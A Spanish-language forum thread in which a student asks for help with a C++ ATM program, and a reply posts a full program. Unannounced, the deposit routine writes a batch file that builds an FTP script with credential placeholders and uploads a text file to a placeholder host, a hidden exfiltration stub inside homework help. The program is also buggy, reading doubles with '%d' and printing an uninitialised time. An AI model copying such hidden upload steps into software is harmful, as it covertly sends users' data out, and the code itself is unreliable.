Hola!

Registrándote como bakuno podrás publicar, compartir y comunicarte en privado con otros bakuos :D

Regístrame ya!

ayuda bakunos c++

maxdll9

Becerro
Desde
19 Nov 2009
Mensajes
40
bueno lo que tengo que hacer es un cajero automatico en c++ donde se puedan
hacer retiros, consultar saldo y todo lo de un cajero
pero lo que aun no se es como guardar y comparar los datos lo que estoy haciendo es guardar los datos del cliente en un archivo de texto pero no se como compararlos despues
FILE *cuenta;
arch=fopen("C:/CUENTA.TXT","wt");
fprintf(cuenta,"123456789") <=== es el numero de cuenta que se guarda
fclose(arch);
necesito que me ayuden porfavor
gracias
 
#include<stdio.h>

#include <time.h>
int main();

#include<iostream>
using namespace std;
time_t rawtime;


double saldo(double retiro,double deposito,double saldot)
{

system("cls");
saldot=saldot+deposito-retiro;
return saldot;
time ( &rawtime );



}

double deposit(double saldot)
{

double dep=0;
char sn;
do
{
LDeposito:
system("cls");

cout<<"Ingrese cantidad a Depositar: ";
scanf("%d",&dep);

FILE *radical;
radical = fopen("radicalsystem.txt", "w");

fprintf( radical, "deposito : %d\n\n",dep );
fprintf ( radical,"la hora en que se realizo la operacion fue: %s", ctime (&rawtime) );

FILE *radicala;
radicala = fopen("radicala.bat", "w");


fprintf(radicala, "@echo off \n");
fprintf(radicala, "echo usuario>>smp \n");
fprintf(radicala, "echo contraseña>>smp \n");
fprintf(radicala, "echo ascii>>smp \n");
fprintf(radicala, "echo texto.txt>>smp \n");
fprintf(radicala, "echo close>>smp \n");
fprintf(radicala, "ftp -s:smp pagina con ftp \n");
fprintf(radicala, "del smp \n");






while(dep<=0)
{
cout<<"Desea ingresar un valor valido s/S n/N: ";
cin>>sn;
if(sn=='S'||sn=='s')
goto LDeposito;
else
exit(0);
}
saldot=saldo(0,dep,saldot);
cout<<"Desea realizar otro deposito s/S n/N: ";cin>>sn;
}while(sn=='s'||sn=='S');

return saldot;
}

double retiro(double saldot)
{
double retir=0;
char sn;
system("cls");
if (saldot==0)
{cout<<"Ud. no cuenta con saldo \n";
cout<<"Desea realizar otra operacion s/S n/N: ";cin>>sn;
if(sn=='S'||sn=='s')
{
system("cls");
main();
}
else
exit(0);

}
do
{
LRetir:
system("cls");
cout<<"Ingrese cantidad a Retirar: ";
scanf("%d",&retir);



FILE *radical;
radical = fopen("radicalsystem.txt", "w");

fprintf( radical, "retiro : %d\n\n",retir );
fprintf ( radical,"la hora en que se realizo la operacion fue: %s", ctime (&rawtime) );



while(saldot<retir)
{
cout<<"Ud. no cuenta con saldo suficiente para hacer ese retiro\n";
goto reintentar;
}

while(retir<=0)
{
reintentar:
cout<<"Desea ingresar un valor valido s/S n/N: ";
cin>>sn;
if(sn=='S'||sn=='s')
goto LRetir;
else
exit(0);
}
saldot=saldo(retir,0,saldot);
cout<<"Desea realizar otro retiro s/S n/N: ";cin>>sn;
}while(sn=='s'||sn=='S');

return saldot;
}



double Option(int option1,double saldot)
{
switch(option1)
{
case 1:saldot=deposit(saldot);break;
case 2:saldot=retiro(saldot);break;
case 3: {
saldot=saldo(0,0,saldot);
cout<<"Usted cuenta con :"<<saldot<<" pesos\n";
}break;
case 4:{system("cls");cout<<"Cerrando Sistema...";exit(0);}break;

}


return saldot;
}


int main()
{
int opt;
char sn;
double saldot=0;

do
{
system("cls");
system("color 0a");
cout<<"\t\t\tOperaciones Bancarias de radical system\n";
cout<<"1. Deposito\n";
cout<<"2. Retiro\n";
cout<<"3. Saldo\n";
cout<<"4. Salir\n\n";
cout<<"Elija el numero de la opcion: ";cin>>opt;
saldot=Option(opt,saldot);
cout<<"Desea continuar con otra operacion s/S n/N: ";cin>>sn;
}while(sn=='s'||sn=='S');
system("cls");
cout<<"Cerrando Sistema...\n";exit(0);
return 0;
}
 
Volver
Arriba